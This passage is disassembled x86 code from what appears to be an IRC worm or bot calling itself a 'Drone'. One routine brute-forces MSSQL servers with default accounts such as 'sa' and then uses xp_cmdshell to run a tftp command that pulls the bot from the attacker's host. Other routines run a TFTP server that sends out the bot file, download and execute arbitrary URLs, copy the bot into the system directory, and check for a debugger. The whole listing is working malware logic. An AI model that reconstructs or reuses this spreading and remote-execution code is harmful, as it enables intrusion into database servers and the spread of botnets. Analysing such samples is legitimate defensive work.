ptr -0D34h var_D30 = dword ptr -0D30h var_D2C = dword ptr -0D2Ch var_D26 = byte ptr -0D26h var_D25 = byte ptr -0D25h var_D24 = dword ptr -0D24h var_C24 = dword ptr -0C24h var_C20 = dword ptr -0C20h var_C1C = dword ptr -0C1Ch var_C18 = byte ptr -0C18h var_C14 = byte ptr -0C14h var_814 = byte ptr -814h Dest = byte ptr -414h var_14 = byte ptr -14h var_13 = byte ptr -13h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp lea ebp, [esp-0CD8h] sub esp, 0D54h mov eax, dword_423064 xor eax, ebp mov [ebp+0CD8h+var_4], eax push ebx push esi push edi push 44h pop ecx xor ebx, ebx xor eax, eax mov [ebp+0CD8h+var_14], bl lea esi, [ebp+0CD8h+arg_0] lea edi, [ebp+0CD8h+var_D24] rep movsd lea edi, [ebp+0CD8h+var_13] stosd stosd stosd stosw stosb mov eax, [ebp+0CD8h+var_C20] mov [ebp+0CD8h+var_D40], eax lea eax, [ebp+0CD8h+var_D34] push eax push ebx push 1 mov [ebp+0CD8h+var_D26], bl mov [ebp+0CD8h+var_D54], offset aSa ; "sa" mov [ebp+0CD8h+var_D50], offset aRoot ; "root" mov [ebp+0CD8h+var_D4C], offset aAdmin ; "admin" mov [ebp+0CD8h+var_D48], ebx mov [ebp+0CD8h+var_D25], bl mov [ebp+0CD8h+var_D2C], ebx mov [ebp+0CD8h+var_D30], ebx call sub_402630 test ax, ax jz short loc_41B23A loc_41B220: ; CODE XREF: sub_41B1A0+AEj xor al, al loc_41B222: ; CODE XREF: sub_41B1A0+CFj mov ecx, [ebp+0CD8h+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 add ebp, 0CD8h leave retn ; --------------------------------------------------------------------------- loc_41B23A: ; CODE XREF: sub_41B1A0+7Ej push 0FFFFFFFAh push 3 push 0C8h push [ebp+0CD8h+var_D34] call sub_402624 test ax, ax jnz short loc_41B220 lea eax, [ebp+0CD8h+var_D2C] push eax push [ebp+0CD8h+var_D34] push 2 call sub_402630 test ax, ax jz short loc_41B271 loc_41B263: ; CODE XREF: sub_41B1A0+22Bj push [ebp+0CD8h+var_D34] push 1 call sub_402636 mov al, bl jmp short loc_41B222 ; --------------------------------------------------------------------------- loc_41B271: ; CODE XREF: sub_41B1A0+C1j mov edi, ds:dword_41D260 lea ecx, [ebp+0CD8h+var_D54] mov [ebp+0CD8h+var_D3C], ecx loc_41B27D: ; CODE XREF: sub_41B1A0+1D0j cmp off_424650, ebx mov [ebp+0CD8h+var_D38], ebx jz loc_41B365 mov esi, [ecx] mov eax, offset off_424650 loc_41B293: ; CODE XREF: sub_41B1A0+16Bj lea ecx, [ebp+0CD8h+var_D26] push ecx push dword ptr [eax] push esi push [ebp+0CD8h+var_C1C] push [ebp+0CD8h+var_D40] call edi ; inet_ntoa push eax lea eax, [ebp+0CD8h+Dest] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax ; Dest call _sprintf lea eax, [ebp+0CD8h+Dest] add esp, 1Ch lea ecx, [eax+1] loc_41B2C3: ; CODE XREF: sub_41B1A0+128j mov dl, [eax] inc eax cmp dl, bl jnz short loc_41B2C3 push ebx sub eax, ecx lea ecx, [ebp+0CD8h+var_D44] push ecx push 400h lea ecx, [ebp+0CD8h+var_C14] push ecx push eax lea eax, [ebp+0CD8h+Dest] push eax push ebx push [ebp+0CD8h+var_D2C] call sub_40262A movzx eax, ax cmp ax, bx jz short loc_41B30F cmp ax, 1 jz short loc_41B30F inc [ebp+0CD8h+var_D38] mov eax, [ebp+0CD8h+var_D38] lea eax, ds:424650h[eax*4] cmp [eax], ebx jnz short loc_41B293 jmp short loc_41B365 ; --------------------------------------------------------------------------- loc_41B30F: ; CODE XREF: sub_41B1A0+154j ; sub_41B1A0+15Aj lea eax, [ebp+0CD8h+var_D30] push eax push [ebp+0CD8h+var_D2C] push 3 call sub_402630 push dword_4269BC lea esi, [ebp+0CD8h+var_14] call sub_418FC6 mov eax, esi push eax lea eax, [ebp+0CD8h+var_814] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"... push eax ; Dest call _sprintf add esp, 10h push 0FFFFFFFDh lea eax, [ebp+0CD8h+var_814] push eax push [ebp+0CD8h+var_D30] call sub_40263C test ax, ax jz short loc_41B378 push [ebp+0CD8h+var_D30] push 3 call sub_402636 loc_41B365: ; CODE XREF: sub_41B1A0+E6j ; sub_41B1A0+16Dj mov ecx, [ebp+0CD8h+var_D3C] add ecx, 4 cmp [ecx], ebx mov [ebp+0CD8h+var_D3C], ecx jnz loc_41B27D jmp short loc_41B3BE ; --------------------------------------------------------------------------- loc_41B378: ; CODE XREF: sub_41B1A0+1B9j push [ebp+0CD8h+var_D40] mov [ebp+0CD8h+var_D25], 1 call edi ; inet_ntoa push eax mov eax, [ebp+0CD8h+var_C24] imul eax, 2Ch add eax, offset dword_424528 push eax ; Args push offset aSExploitedS__0 ; "%s: Exploited %s." lea eax, [ebp+0CD8h+var_D24] push eax ; int push dword ptr [ebp+0CD8h+var_C18] ; char push offset dword_4269BC ; int call sub_417361 mov eax, [ebp+0CD8h+var_C24] imul eax, 2Ch lea eax, dword_42454C[eax] add esp, 18h inc dword ptr [eax] loc_41B3BE: ; CODE XREF: sub_41B1A0+1D6j push [ebp+0CD8h+var_D2C] push 2 call sub_402636 mov bl, [ebp+0CD8h+var_D25] jmp loc_41B263 sub_41B1A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B3D0 proc near ; DATA XREF: sub_41B5D2+15Ao var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_230 = dword ptr -230h var_22C = dword ptr -22Ch File = dword ptr -228h var_224 = word ptr -224h var_222 = word ptr -222h DstBuf = byte ptr -220h var_18 = byte ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 240h mov eax, dword_423064 xor eax, ebp mov [ebp+var_8], eax push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_41B3F6 loc_41B3EF: ; CODE XREF: sub_41B3D0+42j ; sub_41B3D0+5Dj ... push ebx call ds:dword_41D08C ; ExitThread loc_41B3F6: ; CODE XREF: sub_41B3D0+1Dj lea edi, [ebp+var_18] movsd movsd push 11h movsd push 2 push 2 movsd call ds:dword_41D27C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_230], eax jz short loc_41B3EF push offset aRb ; "rb" push offset Filename ; Filename call _fopen cmp eax, ebx pop ecx pop ecx mov [ebp+File], eax jz short loc_41B3EF push eax ; File mov [ebp+var_22C], ebx mov [ebp+var_23C], 10h call _feof test eax, eax pop ecx jnz loc_41B53E mov esi, ds:dword_41D278 loc_41B454: ; CODE XREF: sub_41B3D0+168j push 204h ; size_t lea eax, [ebp+var_224] push ebx ; int push eax ; void * call _memset add esp, 0Ch xor eax, eax inc [ebp+var_22C] push [ebp+var_22C] lea edi, [ebp+var_238] stosd call esi ; htons push 3 mov [ebp+var_222], ax call esi ; htons push [ebp+File] ; File mov [ebp+var_224], ax push 200h ; Count lea eax, [ebp+DstBuf] push 1 ; ElementSize push eax ; DstBuf call _fread mov edi, [ebp+var_230] add esp, 10h push 10h lea ecx, [ebp+var_18] push ecx push ebx add eax, 4 push eax lea eax, [ebp+var_224] push eax push edi call ds:dword_41D24C ; sendto cmp eax, 0FFFFFFFFh jz loc_41B5BA lea eax, [ebp+var_23C] push eax lea eax, [ebp+var_18] push eax push ebx push 4 lea eax, [ebp+var_238] push eax push edi call ds:dword_41D25C ; recvfrom cmp eax, 0FFFFFFFFh jz loc_41B5BA push [ebp+var_238] call ds:dword_41D254 ; htons cmp ax, 4 jnz loc_41B5BA push [ebp+var_238+2] call ds:dword_41D254 ; htons cmp ax, word ptr [ebp+var_22C] jnz loc_41B5BA push [ebp+File] ; File call _feof test eax, eax pop ecx jz loc_41B454 loc_41B53E: ; CODE XREF: sub_41B3D0+78j inc dword_43394C push 100h ; unsigned int call j_??2@YAPAXI@Z ; operator new(uint) mov esi, eax push esi ; void * call __msize push eax mov ebx, offset dword_424ED0 call sub_4196D1 add esp, 0Ch push dword_43394C push [ebp+var_14] call ds:dword_41D260 ; inet_ntoa push eax ; Args push offset aTftpSendComple ; "TFTP: Send Complete To %s. %d Total Sen"... push esi ; int push 0 ; char push offset dword_4269BC ; int call sub_417361 push esi ; Memory call j_j__free add esp, 1Ch push [ebp+var_230] call ds:dword_41D224 ; closesocket push [ebp+File] ; File call _fclose pop ecx mov ecx, [ebp+var_8] pop edi pop esi xor ecx, ebp xor eax, eax pop ebx call sub_402710 leave retn 4 ; --------------------------------------------------------------------------- loc_41B5BA: ; CODE XREF: sub_41B3D0+100j ; sub_41B3D0+125j ... push edi call ds:dword_41D224 ; closesocket push [ebp+File] ; File call _fclose pop ecx jmp loc_41B3EF sub_41B3D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B5D2 proc near ; DATA XREF: sub_41B775+53o var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = byte ptr -138h var_134 = dword ptr -134h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 14Ch mov eax, dword_423064 xor eax, esp mov [esp+14Ch+var_4], eax push ebx push esi push edi push 11h xor esi, esi push 2 inc esi push 2 mov [esp+164h+var_140], esi call ds:dword_41D27C ; socket cmp eax, 0FFFFFFFFh mov dword_4269E4, eax jnz short loc_41B61B xor ebx, ebx loc_41B60E: ; CODE XREF: sub_41B5D2+C1j mov byte_433945, bl loc_41B614: ; CODE XREF: sub_41B5D2+BFj push ebx call ds:dword_41D08C ; ExitThread loc_41B61B: ; CODE XREF: sub_41B5D2+38j push 4 lea ecx, [esp+15Ch+var_140] push ecx push 4 push 0FFFFh push eax call ds:dword_41D250 ; setsockopt xor eax, eax lea edi, [esp+158h+var_14] stosd stosd stosd stosd push 45h mov [esp+15Ch+var_14], 2 call ds:dword_41D278 ; htons mov [esp+158h+var_12], ax push 10h lea eax, [esp+15Ch+var_14] push eax push dword_4269E4 xor ebx, ebx mov [esp+164h+var_10], ebx call ds:dword_41D26C ; bind cmp eax, 0FFFFFFFFh jnz loc_41B744 push dword_4269E4 call ds:dword_41D224 ; closesocket cmp byte_433945, bl jz short loc_41B614 jmp loc_41B60E ; --------------------------------------------------------------------------- loc_41B698: ; CODE XREF: sub_41B5D2+178j mov eax, dword_4269E4 mov [esp+158h+var_11C], eax xor eax, eax lea edi, [esp+158h+var_148] stosd stosd lea eax, [esp+158h+var_148] push eax push ebx push ebx lea eax, [esp+164h+var_120] push eax push ebx mov [esp+16Ch+var_120], esi mov [esp+16Ch+var_148], 5 mov [esp+16Ch+var_144], ebx call ds:dword_41D258 ; select test eax, eax jle short loc_41B744 xor eax, eax lea edi, [esp+158h+var_134] stosd stosd stosd stosd stosd lea eax, [esp+158h+var_13C] push eax lea eax, [esp+15Ch+var_14] push eax push ebx push 14h lea eax, [esp+168h+var_134] push eax push dword_4269E4 mov [esp+170h+var_13C], 10h call ds:dword_41D25C ; recvfrom cmp eax, 0FFFFFFFFh jz short loc_41B744 push [esp+158h+var_134] inc dword_433948 call ds:dword_41D254 ; htons cmp ax, si jnz short loc_41B744 lea eax, [esp+158h+var_138] push eax push ebx lea eax, [esp+160h+var_14] push eax push offset sub_41B3D0 push ebx push ebx call ds:dword_41D110 ; CreateThread push 3E8h call ds:dword_41D0FC ; Sleep loc_41B744: ; CODE XREF: sub_41B5D2+A7j ; sub_41B5D2+FCj ... cmp byte_433945, bl jnz loc_41B698 push dword_4269E4 call ds:dword_41D224 ; closesocket mov ecx, [esp+158h+var_4] pop edi pop esi pop ebx xor ecx, esp xor eax, eax call sub_402710 mov esp, ebp pop ebp retn 4 sub_41B5D2 endp ; =============== S U B R O U T I N E ======================================= sub_41B775 proc near ; CODE XREF: sub_401F1C+5Ap ; .text:0041BFB5p push 4 mov eax, offset __ehhandler$?empty@locale@std@@SA?AV12@XZ call __EH_prolog3 xor ebx, ebx cmp byte_433945, bl jz short loc_41B78F loc_41B78B: ; CODE XREF: sub_41B775+74j mov al, 1 jmp short loc_41B7F3 ; --------------------------------------------------------------------------- loc_41B78F: ; CODE XREF: sub_41B775+14j mov edi, 100h push edi ; size_t push ebx ; int mov esi, offset Filename push esi ; void * call _memset add esp, 0Ch push edi push esi push ebx call ds:dword_41D0E4 ; GetModuleHandleA push eax call ds:dword_41D060 ; GetModuleFileNameA push 8 ; Size call ??2@YAPAXI@Z ; operator new(uint) mov esi, eax pop ecx mov [ebp-10h], esi cmp esi, ebx mov [ebp-4], ebx jz short loc_41B7DB push offset sub_41B5D2 xor ecx, ecx mov edi, offset aTftpServer ; "TFTP Server" call sub_4140AB jmp short loc_41B7DD ; --------------------------------------------------------------------------- loc_41B7DB: ; CODE XREF: sub_41B775+51j xor eax, eax loc_41B7DD: ; CODE XREF: sub_41B775+64j cmp [eax+4], ebx jz short loc_41B7EB mov byte_433945, 1 jmp short loc_41B78B ; --------------------------------------------------------------------------- loc_41B7EB: ; CODE XREF: sub_41B775+6Bj mov byte_433945, bl xor al, al loc_41B7F3: ; CODE XREF: sub_41B775+18j call __EH_epilog3 retn sub_41B775 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B7F9 proc near ; CODE XREF: sub_40177B+6Cp ; sub_4019F3+6Cp ... var_3DC = dword ptr -3DCh var_3D8 = byte ptr -3D8h var_308 = byte ptr -308h var_307 = byte ptr -307h Dest = byte ptr -208h var_207 = byte ptr -207h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 3E0h mov eax, dword_423064 xor eax, esp mov [esp+3E0h+var_4], eax mov eax, [ebp+arg_0] push ebx push esi mov esi, 1FFh xor ebx, ebx push esi ; size_t mov [esp+3ECh+var_3DC], eax lea eax, [esp+3ECh+var_207] push ebx ; int push eax ; void * mov [esp+3F4h+Dest], bl call _memset add esp, 0Ch push 0FFh ; size_t lea eax, [esp+3ECh+var_307] push ebx ; int push eax ; void * mov [esp+3F4h+var_308], bl call _memset add esp, 0Ch lea eax, [esp+3E8h+var_3D8] call sub_4143A0 push [esp+3E8h+var_3DC] lea eax, [esp+3ECh+Dest] push offset aS_16 ; "%s" push esi ; Count push eax ; Dest call __snprintf lea eax, [esp+3F8h+Dest] add esp, 10h lea esi, [eax+1] loc_41B886: ; CODE XREF: sub_41B7F9+92j mov cl, [eax] inc eax cmp cl, bl jnz short loc_41B886 lea ecx, [esp+3E8h+var_3D8] push ecx sub eax, esi push eax lea ecx, [esp+3F0h+Dest] call sub_416C60 push 200h ; size_t lea eax, [esp+3F4h+Dest] push ebx ; int push eax ; void * call _memset lea eax, [esp+3FCh+var_308] add esp, 14h push eax lea ebx, [esp+3ECh+var_3D8] call sub_416AE0 pop ecx push 0C0h ; size_t push 0 ; int push edi ; void * call _memset add esp, 0Ch xor esi, esi loc_41B8DB: ; CODE XREF: sub_41B7F9+114j movzx eax, [esp+esi+3E8h+var_308] push eax push edi push offset aSX ; "%s%X" push 0BFh ; Count push edi ; Dest call __snprintf mov eax, edi add esp, 14h lea ecx, [eax+1] loc_41B8FD: ; CODE XREF: sub_41B7F9+109j mov dl, [eax] inc eax test dl, dl jnz short loc_41B8FD sub eax, ecx inc esi cmp esi, 40h mov [eax+edi], dl jl short loc_41B8DB mov ecx, [esp+3E8h+var_4] pop esi pop ebx xor ecx, esp mov eax, edi call sub_402710 mov esp, ebp pop ebp retn sub_41B7F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B925 proc near ; DATA XREF: sub_40177B+234o ; sub_4019F3+1E6o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = byte ptr -73Ch var_738 = dword ptr -738h var_638 = byte ptr -638h Args = byte ptr -615h Format = byte ptr -515h var_415 = byte ptr -415h var_414 = byte ptr -414h var_413 = byte ptr -413h var_408 = byte ptr -408h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 754h mov eax, dword_423064 xor eax, esp mov [esp+754h+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi mov ecx, 0C9h lea edi, [esp+760h+var_738] rep movsd xor ebx, ebx push ebx push ebx push ebx movsw push ebx push offset aMozilla5_0 ; "Mozilla/5.0" movsb call ds:dword_41D21C ; InternetOpenA mov esi, eax lea eax, [esp+760h+Format] push eax lea eax, [esp+764h+Args] push eax ; Args push offset aDlDownloadingS ; "DL: Downloading %s to %s" lea eax, [esp+76Ch+var_738] push eax ; int push dword ptr [esp+770h+var_413] ; char mov edi, offset dword_4269BC push edi ; int call sub_417361 add esp, 18h push ebx push ebx push ebx push ebx lea eax, [esp+770h+Args] push eax push esi call ds:dword_41D218 ; InternetOpenUrlA cmp esi, ebx mov [esp+760h+var_744], eax jz loc_41BB44 cmp eax, ebx jz loc_41BB3D push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [esp+778h+Format] push eax call ds:dword_41D06C ; CreateFileA mov [esp+760h+var_748], eax call ds:dword_41D108 ; GetTickCount mov [esp+760h+var_740], eax mov [esp+760h+var_750], ebx mov esi, 400h loc_41B9EC: ; CODE XREF: sub_41B925+11Fj push esi ; size_t lea eax, [esp+764h+var_408] push ebx ; int push eax ; void * call _memset add esp, 0Ch lea eax, [esp+760h+var_74C] push eax push esi lea eax, [esp+768h+var_408] push eax push [esp+76Ch+var_744] call ds:dword_41D214 ; InternetReadFile push ebx lea eax, [esp+764h+var_73C] push eax push [esp+768h+var_74C] lea eax, [esp+76Ch+var_408] push eax push [esp+770h+var_748] call ds:dword_41D088 ; WriteFile test eax, eax jz loc_41BAEF mov eax, [esp+760h+var_74C] add [esp+760h+var_750], eax cmp eax, ebx ja short loc_41B9EC call ds:dword_41D108 ; GetTickCount sub eax, [esp+760h+var_740] xor edx, edx mov ecx, 3E8h div ecx mov ecx, eax cmp ecx, ebx jnz short loc_41BA62 xor ecx, ecx inc ecx loc_41BA62: ; CODE XREF: sub_41B925+138j mov eax, [esp+760h+var_750] xor edx, edx div ecx shr eax, 0Ah push eax push ecx push [esp+768h+var_750] lea eax, [esp+76Ch+Format] push eax ; Args push offset aDlDownloadSIBy ; "DL: Download %s (%i Bytes) finished in "... lea eax, [esp+774h+var_738] push eax ; int push dword ptr [esp+778h+var_413] ; char push edi ; int call sub_417361 add esp, 20h push [esp+760h+var_748] call ds:dword_41D0DC ; CloseHandle cmp [esp+760h+var_415], 1 jnz loc_41BB5E cmp [esp+760h+var_414], bl lea eax, [esp+760h+Format] jz short loc_41BAFD push eax ; Format call sub_419219 test al, al pop ecx lea eax, [esp+760h+var_738] jz short loc_41BAF6 push offset aMainUninstalli ; "Main: Uninstalling Drone" push eax ; int push dword ptr [esp+768h+var_413] ; char push edi ; int call sub_417361 add esp, 10h lea eax, [esp+760h+var_638] push eax call sub_419477 ; IsDebuggerPresent loc_41BAEF: ; CODE XREF: sub_41B925+10Fj push offset aDlFailedBadLoc ; "DL: Failed; Bad Location." jmp short loc_41BB49 ; --------------------------------------------------------------------------- loc_41BAF6: ; CODE XREF: sub_41B925+1A5j push offset aDlFailedToUpda ; "DL: Failed To Update" jmp short loc_41BB4D ; --------------------------------------------------------------------------- loc_41BAFD: ; CODE XREF: sub_41B925+196j push 5 push ebx push ebx push eax push offset byte_41EF0F push ebx call ds:dword_41D1E4 test eax, eax jnz short loc_41BB19 push offset aDlErrorExecuti ; "DL: Error Executing File." jmp short loc_41BB49 ; --------------------------------------------------------------------------- loc_41BB19: ; CODE XREF: sub_41B925+1EBj lea eax, [esp+760h+Format] push eax ; Args push offset aDlExecutedFile ; "DL: Executed File: %s" lea eax, [esp+768h+var_738] push eax ; int push dword ptr [esp+76Ch+var_413] ; char push edi ; int call sub_417361 add esp, 14h jmp short loc_41BB5E ; --------------------------------------------------------------------------- loc_41BB3D: ; CODE XREF: sub_41B925+91j push offset aDlFailedBadUrl ; "DL: Failed; Bad URL" jmp short loc_41BB49 ; --------------------------------------------------------------------------- loc_41BB44: ; CODE XREF: sub_41B925+89j push offset aDlFailedWinine ; "DL: Failed; WinINET Error" loc_41BB49: ; CODE XREF: sub_41B925+1CFj ; sub_41B925+1F2j ... lea eax, [esp+764h+var_738] loc_41BB4D: ; CODE XREF: sub_41B925+1D6j push eax ; int push dword ptr [esp+768h+var_413] ; char push edi ; int call sub_417361 add esp, 10h loc_41BB5E: ; CODE XREF: sub_41B925+182j ; sub_41B925+216j call ds:dword_41D0E0 ; GetCurrentThreadId push eax call sub_414042 pop ecx mov ecx, [esp+760h+var_4] pop edi pop esi pop ebx xor ecx, esp xor eax, eax call sub_402710 mov esp, ebp pop ebp retn 4 sub_41B925 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_41BB84(char *Format) sub_41BB84 proc near ; CODE XREF: sub_41C370+45p ; sub_41C370+61p ... var_108 = dword ptr -108h Dest = byte ptr -104h var_4 = dword ptr -4 Format = dword ptr 8 push ebp mov ebp, esp sub esp, 108h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push 100h ; Count push eax ; Dest mov dword ptr [esi], offset off_420A74 mov [ebp+var_108], esi call __snprintf mov eax, dword_433C40 add esp, 0Ch lea edx, [ebp+var_108] push edx mov ecx, offset dword_433C3C push eax push ecx call sub_40121E mov ecx, [ebp+var_4] xor ecx, ebp mov eax, esi call sub_402710 leave retn 4 sub_41BB84 endp ; --------------------------------------------------------------------------- ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16: ; CODE XREF: ___tmainCRTStartup+172p push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 724h mov eax, dword_423064 xor eax, esp mov [esp+720h], eax mov eax, [ebp+10h] push ebx push esi push edi mov [esp+10h], eax call sub_419677 test al, al jz short loc_41BC29 loc_41BC10: ; CODE XREF: .text:0041BDA1j ; .text:0041BDCCj ... mov ecx, [esp+72Ch] pop edi pop esi pop ebx xor ecx, esp xor eax, eax call sub_402710 mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- loc_41BC29: ; CODE XREF: .text:0041BC0Ej call sub_4195EC test al, al jnz loc_41C061 call ds:dword_41D090 ; IsDebuggerPresent test eax, eax jnz loc_41C061 mov esi, offset aIrn ; "--irn " lea edi, [esp+248h] movsd movsw movsb mov edi, 103h xor ebx, ebx push edi lea eax, [esp+625h] push ebx push eax mov [esp+62Ch], bl call _memset add esp, 0Ch push edi lea eax, [esp+415h] push ebx push eax mov [esp+41Ch], bl call _memset add esp, 0Ch push edi lea eax, [esp+30Dh] push ebx push eax mov [esp+314h], bl call _memset add esp, 0Ch push 7Fh lea eax, [esp+28Dh] push ebx push eax mov [esp+294h], bl call _memset add esp, 0Ch push edi lea eax, [esp+624h] push eax call ds:dword_41D0F4 ; GetSystemDirectoryA push 80h lea esi, [esp+28Ch] mov ebx, offset byte_425061 call sub_4196D1 pop ecx mov eax, esi push eax lea eax, [esp+624h] push eax push offset aSS ; "%s\\%s" lea eax, [esp+314h] push edi push eax call __snprintf lea eax, [esp+31Ch] add esp, 14h lea ecx, [eax+1] loc_41BD11: ; CODE XREF: .text:0041BD16j mov dl, [eax] inc eax test dl, dl jnz short loc_41BD11 sub eax, ecx xor ebx, ebx mov [esp+eax+308h], bl mov esi, 104h push esi lea eax, [esp+414h] push eax push ebx call ds:dword_41D0E4 ; GetModuleHandleA push eax call ds:dword_41D060 ; GetModuleFileNameA lea eax, [esp+248h] lea ecx, [eax+1] loc_41BD49: ; CODE XREF: .text:0041BD4Ej mov dl, [eax] inc eax cmp dl, bl jnz short loc_41BD49 sub eax, ecx push eax lea eax, [esp+24Ch] push eax push dword ptr [esp+18h] call __strnicmp add esp, 0Ch test eax, eax jz short loc_41BDD1 push esi lea eax, [esp+30Ch] push eax lea eax, [esp+418h] push eax call __strnicmp add esp, 0Ch test eax, eax jz short loc_41BDD1 push ebx lea eax, [esp+30Ch] push eax lea eax, [esp+418h] push eax call ds:dword_41D080 ; CopyFileA test eax, eax jz loc_41BC10 lea eax, [esp+410h] push eax lea eax, [esp+24Ch] push eax lea eax, [esp+310h] push eax push offset aSSS ; "%s %s%s" call sub_419219 add esp, 10h jmp loc_41BC10 ; --------------------------------------------------------------------------- loc_41BDD1: ; CODE XREF: .text:0041BD69j ; .text:0041BD86j lea eax, [esp+248h] lea edx, [eax+1] loc_41BDDB: ; CODE XREF: .text:0041BDE0j mov cl, [eax] inc eax cmp cl, bl jnz short loc_41BDDB sub eax, edx push eax lea eax, [esp+24Ch] push eax push dword ptr [esp+18h] call __strnicmp add esp, 0Ch test eax, eax jnz loc_41BE8C push esi lea eax, [esp+30Ch] push eax lea eax, [esp+418h] push eax call __strnicmp add esp, 0Ch test eax, eax jnz short loc_41BE8C push edi lea eax, [esp+51Dh] push ebx push eax mov [esp+524h], bl call _memset lea eax, [esp+254h] add esp, 0Ch lea edi, [eax+1] loc_41BE41: ; CODE XREF: .text:0041BE46j mov cl, [eax] inc eax cmp cl, bl jnz short loc_41BE41 mov ecx, [esp+10h] sub eax, edi add eax, ecx push eax push offset aS ; "%s" lea eax, [esp+520h] push esi push eax call __snprintf add esp, 10h xor esi, esi loc_41BE69: ; CODE XREF: .text:0041BE8Aj lea eax, [esp+518h] push eax call ds:dword_41D0D0 ; DeleteFileA test eax, eax jnz short loc_41BE8C push 0C8h call ds:dword_41D0FC ; Sleep inc esi cmp esi, 3 jb short loc_41BE69 loc_41BE8C: ; CODE XREF: .text:0041BDFBj ; .text:0041BE1Cj ... push 80h lea eax, [esp+28Ch] push ebx push eax call _memset add esp, 0Ch push 37h lea eax, [esp+255h] push ebx push eax mov [esp+25Ch], bl call _memset add esp, 0Ch push 38h lea esi, [esp+254h] mov ebx, offset byte_4250E1 call sub_4196D1 pop ecx mov eax, esi push eax push 1 xor ebx, ebx push ebx call ds:dword_41D084 ; CreateMutexA push 38h mov esi, eax lea eax, [esp+254h] push ebx push eax call _memset add esp, 0Ch push 1388h push esi call ds:dword_41D07C ; WaitForSingleObject cmp eax, 102h jnz short loc_41BF0D push ebx call ds:dword_41D050 ; ExitProcess loc_41BF0D: ; CODE XREF: .text:0041BF04j call sub_416F86 push 8 call ??2@YAPAXI@Z ; operator new(uint) cmp eax, ebx pop ecx jz short loc_41BF31 push offset sub_417119 xor ecx, ecx mov edi, offset aRm ; "RM" mov esi, eax call sub_4140AB loc_41BF31: ; CODE XREF: .text:0041BF1Cj lea eax, [esp+20h] push eax mov dword ptr [esp+24h], 94h call ds:dword_41D068 ; GetVersionExA cmp dword ptr [esp+24h], 4 jz short loc_41BF6A push 8 call ??2@YAPAXI@Z ; operator new(uint) cmp eax, ebx pop ecx jz short loc_41BF6A push offset sub_419EA0 xor ecx, ecx mov edi, offset aBk ; "BK" mov esi, eax call sub_4140AB loc_41BF6A: ; CODE XREF: .text:0041BF49j ; .text:0041BF55j push 8 mov byte_4269C0, bl call ??2@YAPAXI@Z ; operator new(uint) cmp eax, ebx pop ecx jz short loc_41BF8F push offset sub_418301 xor ecx, ecx mov edi, offset aUnm ; "UNM" mov esi, eax call sub_4140AB loc_41BF8F: ; CODE XREF: .text:0041BF7Aj lea eax, [esp+0B8h] push eax push 202h call ds:dword_41D274 ; WSAStartup test eax, eax jnz loc_41C056 call sub_4192FB mov byte_433945, bl call sub_41B775 mov eax, [ebp+8] mov byte_4268B4, bl mov dword_4266A4, eax call sub_418D17 mov eax, dword_433C40 mov eax, [eax] mov ebx, offset dword_433C3C mov [esp+14h], eax mov [esp+10h], ebx loc_41BFE1: ; CODE XREF: .text:0041C00Cj cmp dword ptr [esp+10h], 0 mov esi, dword_433C40 jz short loc_41BFF4 cmp [esp+10h], ebx jz short loc_41BFF9 loc_41BFF4: ; CODE XREF: .text:0041BFECj call __invalid_parameter_noinfo loc_41BFF9: ; CODE XREF: .text:0041BFF2j cmp [esp+14h], esi jz short loc_41C00E lea edi, [esp+18h] lea esi, [esp+10h] call sub_40168C jmp short loc_41BFE1 ; --------------------------------------------------------------------------- loc_41C00E: ; CODE XREF: .text:0041BFFDj mov esi, offset dword_4269BC loc_41C013: ; CODE XREF: .text:0041C054j movsx eax, word_424E48 push eax push offset dword_424C48 mov edx, offset dword_424A48 mov ecx, esi call sub_41802F test al, al jz short loc_41C042 mov byte_4269C0, 1 loc_41C037: ; CODE XREF: .text:0041C040j mov ecx, esi call sub_417F01 test al, al jnz short loc_41C037 loc_41C042: ; CODE XREF: .text:0041C02Ej push 3A98h mov byte_4269C0, 0 call ds:dword_41D0FC ; Sleep jmp short loc_41C013 ; --------------------------------------------------------------------------- loc_41C056: ; CODE XREF: .text:0041BFA4j call ds:dword_41D244 ; WSACleanup jmp loc_41BC10 ; --------------------------------------------------------------------------- loc_41C061: ; CODE XREF: .text:0041BC30j ; .text:0041BC3Ej push offset byte_41EF17 call sub_419477 ; IsDebuggerPresent ; --------------------------------------------------------------------------- db 5 dup(0CCh) ; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND] align 10h __ftol2_sse: cmp dword_433C7C, 0 jz short __ftol2 ; [00000013 BYTES: 